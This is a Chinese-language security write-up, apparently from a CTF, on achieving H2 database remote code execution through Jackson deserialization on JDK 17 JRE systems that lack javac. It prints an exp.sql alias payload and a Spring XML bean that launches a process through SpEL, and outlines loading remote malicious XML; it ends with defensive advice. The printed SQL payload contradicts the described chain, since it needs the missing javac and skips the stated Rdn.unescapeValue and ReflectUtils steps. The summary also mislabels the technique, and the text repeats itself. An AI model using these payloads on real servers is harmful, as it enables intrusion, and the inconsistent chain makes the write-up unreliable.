深入解析:高版本 JRE 下 H2 RCE 绕过新思路
字数 1280 2025-08-29 08:29:58

高版本JRE环境下H2 RCE绕过新思路深度解析

前言

本文详细分析在高版本JRE(特别是JDK 17)环境下如何绕过限制实现H2数据库的远程代码执行(RCE)。传统H2 RCE在JDK环境下较为容易利用,但在JRE环境下,特别是缺少javac命令时,需要采用新的绕过技术。

环境分析

目标环境特征

  • 使用JRE而非完整JDK
  • JDK 17版本
  • 存在H2数据库依赖
  • 存在反序列化漏洞入口

关键依赖

通过分析pom.xml文件发现:

  • H2数据库依赖
  • Jackson原生反序列化功能

漏洞利用链分析

基本利用链

  1. 反序列化入口:基础的反序列化路由,无过滤
  2. MyDataSource类:用于触发H2的sink点
  3. Jackson原生反序列化:通过调用getter方法触发漏洞

调用栈流程

  1. readObject:309, EventListenerList (javax.swing.event)
  2. 调用toString:695, UndoManager (javax.swing.undo)
  3. 通过父类方法调用链最终触发writeValueAsString
  4. 调用DataSource的getter方法
  5. 通过JDBC操作触发RCE

JDK与JRE环境差异

JDK环境下

  • 可直接使用javac编译并执行代码
  • 典型利用方式是直接弹出计算器

JRE环境下限制

  • 缺少javac命令
  • 无法直接编译执行Java代码

JRE环境下的绕过技术

静态方法利用

参考思路来自NCTF 2024 Web Writeup,虽然缺少javac,但仍可调用Java的静态方法。

关键类:ReflectUtils

  • 提供大量静态方法
  • 可用于反射调用指定类方法或实例化类
  • 是理想的利用点

具体绕过方案

使用ClassPathXmlApplicationContext类:

  1. 该类在实例化时可加载外部XML文件
  2. 题目环境出网,可加载远程恶意XML
  3. XML文件可包含SpEL表达式实现RCE

类型转换问题与绕过

问题描述

H2不支持JAVA_OBJECTVARCHAR(CHARACTER VARYING)类型之间的直接转换。

解决方案

使用javax.naming.ldap.Rdn.unescapeValue方法:

  • 接收String参数
  • 转换为Object类型
  • 静态方法调用

完整Payload构造

恶意SQL脚本(exp.sql)

CREATE ALIAS EXEC AS '
String r(String cmd) throws Exception {
    javax.naming.ldap.Rdn rdn = new javax.naming.ldap.Rdn("a", cmd);
    return rdn.toString();
}
';
CALL EXEC('恶意命令');

恶意XML文件示例

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <list>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
        <property name="whatever" value="#{pb.start()}"/>
    </bean>
</beans>

调用栈分析

  1. 加载远程XML内容
  2. 解析XML文件
  3. 实例化ProcessBuilder
  4. 执行恶意命令
  5. 成功实现RCE

防御建议

  1. 升级H2数据库到最新版本
  2. 限制反序列化操作,使用白名单机制
  3. 对JDBC连接URL进行严格校验
  4. 在JRE环境中移除不必要的类和方法
  5. 实施网络访问控制,限制出站连接

总结

本文详细分析了在高版本JRE环境下绕过限制实现H2 RCE的新思路,重点解决了缺少javac命令时的利用难题,通过静态方法调用和XML外部实体加载实现了完整的攻击链。这种技术对于安全研究和防御策略制定都具有重要参考价值。

高版本JRE环境下H2 RCE绕过新思路深度解析 前言 本文详细分析在高版本JRE(特别是JDK 17)环境下如何绕过限制实现H2数据库的远程代码执行(RCE)。传统H2 RCE在JDK环境下较为容易利用,但在JRE环境下,特别是缺少javac命令时,需要采用新的绕过技术。 环境分析 目标环境特征 使用JRE而非完整JDK JDK 17版本 存在H2数据库依赖 存在反序列化漏洞入口 关键依赖 通过分析 pom.xml 文件发现: H2数据库依赖 Jackson原生反序列化功能 漏洞利用链分析 基本利用链 反序列化入口:基础的反序列化路由,无过滤 MyDataSource 类:用于触发H2的sink点 Jackson原生反序列化:通过调用getter方法触发漏洞 调用栈流程 readObject:309, EventListenerList (javax.swing.event) 调用 toString:695, UndoManager (javax.swing.undo) 通过父类方法调用链最终触发 writeValueAsString 调用 DataSource 的getter方法 通过JDBC操作触发RCE JDK与JRE环境差异 JDK环境下 可直接使用 javac 编译并执行代码 典型利用方式是直接弹出计算器 JRE环境下限制 缺少 javac 命令 无法直接编译执行Java代码 JRE环境下的绕过技术 静态方法利用 参考思路来自 NCTF 2024 Web Writeup ,虽然缺少javac,但仍可调用Java的静态方法。 关键类:ReflectUtils 提供大量静态方法 可用于反射调用指定类方法或实例化类 是理想的利用点 具体绕过方案 使用 ClassPathXmlApplicationContext 类: 该类在实例化时可加载外部XML文件 题目环境出网,可加载远程恶意XML XML文件可包含SpEL表达式实现RCE 类型转换问题与绕过 问题描述 H2不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING)类型之间的直接转换。 解决方案 使用 javax.naming.ldap.Rdn.unescapeValue 方法: 接收String参数 转换为Object类型 静态方法调用 完整Payload构造 恶意SQL脚本(exp.sql) 恶意XML文件示例 调用栈分析 加载远程XML内容 解析XML文件 实例化 ProcessBuilder 执行恶意命令 成功实现RCE 防御建议 升级H2数据库到最新版本 限制反序列化操作,使用白名单机制 对JDBC连接URL进行严格校验 在JRE环境中移除不必要的类和方法 实施网络访问控制,限制出站连接 总结 本文详细分析了在高版本JRE环境下绕过限制实现H2 RCE的新思路,重点解决了缺少javac命令时的利用难题,通过静态方法调用和XML外部实体加载实现了完整的攻击链。这种技术对于安全研究和防御策略制定都具有重要参考价值。